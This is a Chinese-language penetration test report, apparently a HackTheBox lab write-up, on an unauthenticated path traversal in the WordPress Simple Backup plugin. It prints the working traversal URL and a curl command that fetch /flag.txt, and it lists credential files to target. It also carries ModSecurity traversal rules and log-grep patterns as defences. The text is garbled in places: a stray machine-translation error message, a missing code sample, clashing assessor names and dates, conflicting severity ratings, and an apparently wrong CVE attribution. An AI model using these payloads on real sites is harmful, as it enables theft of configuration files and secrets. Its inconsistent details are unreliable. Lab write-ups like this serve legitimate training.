| 项目 | 详情 |
|---|
| 文档标题 | 渗透测试报告 - WordPress 路径遍历 |
| 客户/考试 | HackTheBox 实验室 - CPTS 练习 1 |
| 日期 | 2026 年 8 月 22 日 |
| 评估人员 | Cyberia(渗透测试人员) |
| 评估类型 | 灰盒(外部,无凭据) |
| 实验室环境 | 154.57.164.73:30706 |
| 实验室时长 | 1 小时 |
| 目标 | 识别并利用漏洞以获取受限文件 |
| 获取的 Flag | HTB{my_f1r57_h4ck} |
在对托管于 154.57.164.73:30706 的 Web 应用程序进行的此次渗透评估中,发现了一个严重漏洞,该漏洞允许未认证的攻击者从服务器文件系统下载并读取任意文件。
受影响的 WordPress 安装包含一个过时的插件(Simple Backup v2.7.10),其存在路径遍历漏洞(CVE-2019-11447),可在无需身份验证或授权的情况下实现未经授权的文件访问。
该漏洞已被成功利用,从服务器根目录获取了 /flag.txt 文件,确认了机密性的完全破坏。拥有此访问权限的攻击者可以:
wp-config.php、.env)必须立即采取关键措施修复此漏洞,因为它对数据安全、隐私合规(GDPR、HIPAA、PCI-DSS)以及系统完整性构成极端风险。
| 严重性 | 数量 | 业务影响 |
|---|---|---|
| 🔴 严重 | 1 | 机密性完全泄露;未经授权的文件访问 |
| 🟠 高 | 0 | — |
| 🟡 中 | 0 | — |
| 🟢 低 | 0 | — |
| ℹ️ 信息 | 1 | 检测到过时的软件版本 |
评估类型: 灰盒(外部攻击者,无凭据,具有网络访问权限)
评估日期: 2026 年 8 月 22 日
测试方法: 非规避性、系统性的评估,遵循行业标准渗透测试框架(PTES):
CVE-2019-11447 | CWE-22:路径名到受限目录的限制不当
WordPress 插件 Simple Backup(版本 2.7.10/2.7.11,Exploit-DB 39883)在其管理后台的“备份管理器”页面中存在路径遍历漏洞。该插件未能对通过 download_backup_file GET 参数提供的文件路径进行过滤,允许攻击者使用相对路径序列(../)遍历出预期的 simple-backup/ 目录,并下载 Web 服务器进程可读取的任何文件——包括文件系统根目录下的文件。
存在漏洞的端点:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` 将请求路由到插件的管理页面处理器;`download_backup_file` 是该插件代码直接读取的参数,并在未经验证的情况下拼接到文件系统路径中,从而导致目录遍历。
---
### CVSS v3.1 评分
**7.5 - 高危** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **攻击向量 (AV):** 网络
- **攻击复杂度 (AC):** 低
- **所需权限 (PR):** 无
- **用户交互 (UI):** 无
- **范围 (S):** 不变
- **机密性 (C):** 高
- **完整性 (I):** 无
- **可用性 (A):** 无
---
### 业务影响
**机密性破坏:** ⚠️ 严重
攻击者可以读取 Web 服务器可访问的任何文件,包括:
| 文件 | 影响 | 风险等级 |
|------|--------|------------|
| `/wp-config.php` | 数据库凭据、盐和密钥 | 🔴 严重 |
| `/.env` | API 密钥、机密数据、配置 | 🔴 严重 |
| `/etc/passwd` | 用户枚举、系统映射 | 🟠 高危 |
| SSH 密钥 (`.ssh/id_rsa`) | 横向移动、系统访问 | 🔴 严重 |
| `/proc/self/environ` | 运行中应用的机密数据 | 🟠 高危 |
| 用户上传目录 | 私有文件、媒体 | 🟠 高危 |
**监管影响:**
- **GDPR 违规:** 未经授权访问用户数据
- **HIPAA 违规:** 受保护健康信息泄露
- **PCI-DSS 违规:** 访问信用卡数据或支付信息
- **SOC 2 违规:** 违反保密要求
---
### 漏洞代码模式
Exploit-DB 漏洞公告(39883.txt,通过 `searchsploit -x` 查看——参见 [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png))记录了 `simple-backup-manager.php` 中该插件的 **delete** 原语:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
The input chunk is empty — no content was provided to translate. Please supply the actual text for chunk 5 of 37.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);
`$filename` 直接取自 `$_GET['delete_backup_file']`,没有使用 `basename()` 或路径包含检查。传入 `../pizza.txt` 会将 `$bk_dir . $filename` 解析为 `.../simple-backup/../pizza.txt` → `.../pizza.txt`,从而逃逸出预期的备份文件夹。
本次实战中实际被利用的**下载**原语(`download_backup_file`)在同一插件中遵循完全相同的不安全拼接模式,但它是将文件返回给请求者而不是删除它——这正是能够从文件系统根目录读取 `/flag.txt` 的原因(从 `ABSPATH/simple-backup/` 出发使用 10 次 `../`)。
**问题所在:**
- 未使用 `basename()` 去除目录组件
- 没有允许文件的 whitelist
- 未验证 `realpath()` 是否仍位于 `ABSPATH."simple-backup/"`
- 直接将用户输入拼接到文件路径中
- 在提供文件之前没有 `current_user_can()` / 身份验证检查——该处理程序在插件加载时运行,早于 WordPress 自身的 `wp-admin` 认证门禁,因此**无需登录**即可访问
---
### 概念验证
#### **阶段 1:初始访问——应用程序识别**
通过浏览器直接连接目标(`http://154.57.164.73:30706/`)。该 WordPress 安装的标题为 **"GETTING STARTED"**,首页上的一篇公开博客文章以纯文本形式披露了确切的插件名称和版本:**"Simple Backup Plugin 2.7.10 for WordPress"**——识别易受攻击组件甚至不需要任何枚举工具。

#### **阶段 2:服务指纹识别**```bash
whatweb http://154.57.164.73:30706/
结果: Apache/2.4.41 (Ubuntu Linux)、WordPress 5.6.1 已通过 MetaGenerator 和 WordPress 插件签名确认。

searchsploit simple backup wordpress
**结果:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

阅读完整安全公告以了解确切的可利用参数和代码路径:```bash searchsploit -x php/webapps/39883.txt
该安全通告记录了通过 `delete_backup_file` 参数实现的未认证 **任意文件删除**,并指出 `simple-backup/` 目录下的备份文件(以及,经由同一条未净化的代码路径,`download_backup_file` 可获取的任意文件)可在无需认证的情况下被获取。

#### **阶段 4:漏洞利用 — 通过 `download_backup_file` 实现路径遍历**
从插件的管理页面路由中识别出易受攻击的端点:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
利用载荷(10 个 ../ 从 ABSPATH/simple-backup/ 回溯到文件系统根目录):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**GUI (used in this assessment):** 载荷 URL 被直接在浏览器地址栏中访问。无需登录 — 浏览器自动下载了解析后的 `flag.txt` 文件。

**Headless equivalent:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
已获取的 Flag: HTB{my_f1r57_h4ck}
该漏洞能够成功利用,原因如下:
$_GET['download_backup_file'] 未针对白名单进行检查realpath() 来验证文件是否保持在 simple-backup/ 目录内../)未被过滤ABSPATH."simple-backup/"wp-admin 身份验证门之前——在未登录状态下也可访问current_user_can() 检查来确认请求者有权访问所请求的文件攻击流程:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### 影响验证
✅ **机密性受损:** Web 服务器进程可读取的任何文件均可访问
✅ **无需身份验证:** 未认证用户即可利用
✅ **无需用户交互:** 直接通过 HTTP 请求利用
✅ **可重复且可靠:** 适用于所有受影响版本
✅ **关键业务数据面临风险:** 配置文件、凭据、用户数据被暴露
---
## 修复方案
### **选项 1:输入白名单(推荐)**
仅允许从预定义的文件列表中下载:```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
优点:
使用 realpath() 对路径进行规范化并验证包含关系:```php
**优点:**
- 处理符号链接和复杂路径
- 自动验证包含关系
- 比白名单更灵活
---
### **选项 3:仅使用 basename() 获取文件名**
仅提取文件名部分:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
优点:
注意: 此方法仅在所有合法文件都位于单个目录且没有子目录时才有效。
Web 应用防火墙(WAF)规则:```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**文件系统权限:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
访问日志与监控:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**更新管理:**
1. 禁用或删除 Simple Backup 插件
2. 安装已批准且通过安全审计的备份解决方案
3. 将 WordPress 更新到最新版本
4. 将所有插件更新到最新版本
5. 将 PHP 更新到 8.0+ 并应用安全补丁
---
## 攻击链```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
WordPress Simple Backup 插件中存在一个严重的路径遍历漏洞,允许未经身份验证的攻击者从服务器下载和读取任意文件。该漏洞已被成功利用,从 Web 根目录中检索到了敏感文件。
风险等级:🔴 严重
| 优先级 | 操作 | 时间线 | 负责人 |
|---|---|---|---|
| 🔴 P0 | 禁用/移除 Simple Backup 插件 | 立即 | 安全/运维 |
| 🔴 P0 | 实施基于白名单的文件验证 | 本周 | 开发 |
| 🟠 P1 | 部署 WAF 规则以阻止路径遍历 | 本周 | 运维 |
| 🟠 P1 | 审计服务器未授权访问日志 | 本周 | 安全 |
| 🟠 P1 | 轮换所有已暴露的凭据(DB、SSH、API) | 本周 | 运维 |
| 🟡 P2 | 更新 WordPress 核心及所有插件 | 本周 | 运维 |
| 🟡 P2 | 实施文件完整性监控 | 下一个迭代 | 安全 |
| 🟡 P2 | 对其他插件进行全面安全审计 | 下一个迭代 | 安全 |
发现: WordPress 站点 "GETTING STARTED" 在博客文章中公开披露了已安装的插件及版本 — "Simple Backup Plugin 2.7.10 for WordPress"
发现: 确认 Apache/2.4.41(Ubuntu Linux)、WordPress 5.6.1
发现: "WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities"(php/webapps/39883.txt)
发现: 安全通告记录了通过 delete_backup_file 实现未经身份验证的任意文件删除;相同的未净化代码路径同样适用于 download_backup_file
发现: 访问 tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt 会触发未经身份验证的 flag.txt 下载:HTB{my_f1r57_h4ck}
CVE-2019-11447 — Simple Backup 路径遍历
CWE-22 — 对受限目录的路径名限制不当(“路径遍历”)
CVSS v3.1 评分: 7.5(高危)
OWASP Top 10 - A01:2021 访问控制失效
OWASP 路径遍历
PortSwigger Web Security Academy - 路径遍历
SearchSploit — Exploit Database 搜索
NMAP — 网络映射器
WhatWeb — Web 指纹识别工具
本报告记录了在获得适当授权并在既定范围内进行的渗透测试。
| 项目 | 值 |
|---|---|
| 报告状态 | ✅ 已完成 |
| 调查结果已核实 | ✅ 是 |
| 建议可执行 | ✅ 是 |
| 机密性 | 🔒 高 |
| 分发范围 | 仅限授权人员 |
评估人: Capivara Root(渗透测试人员)
日期: 2026 年 8 月 11 日
签名: 数字报告 - 无需物理签名
© 2026 渗透测试评估 | 机密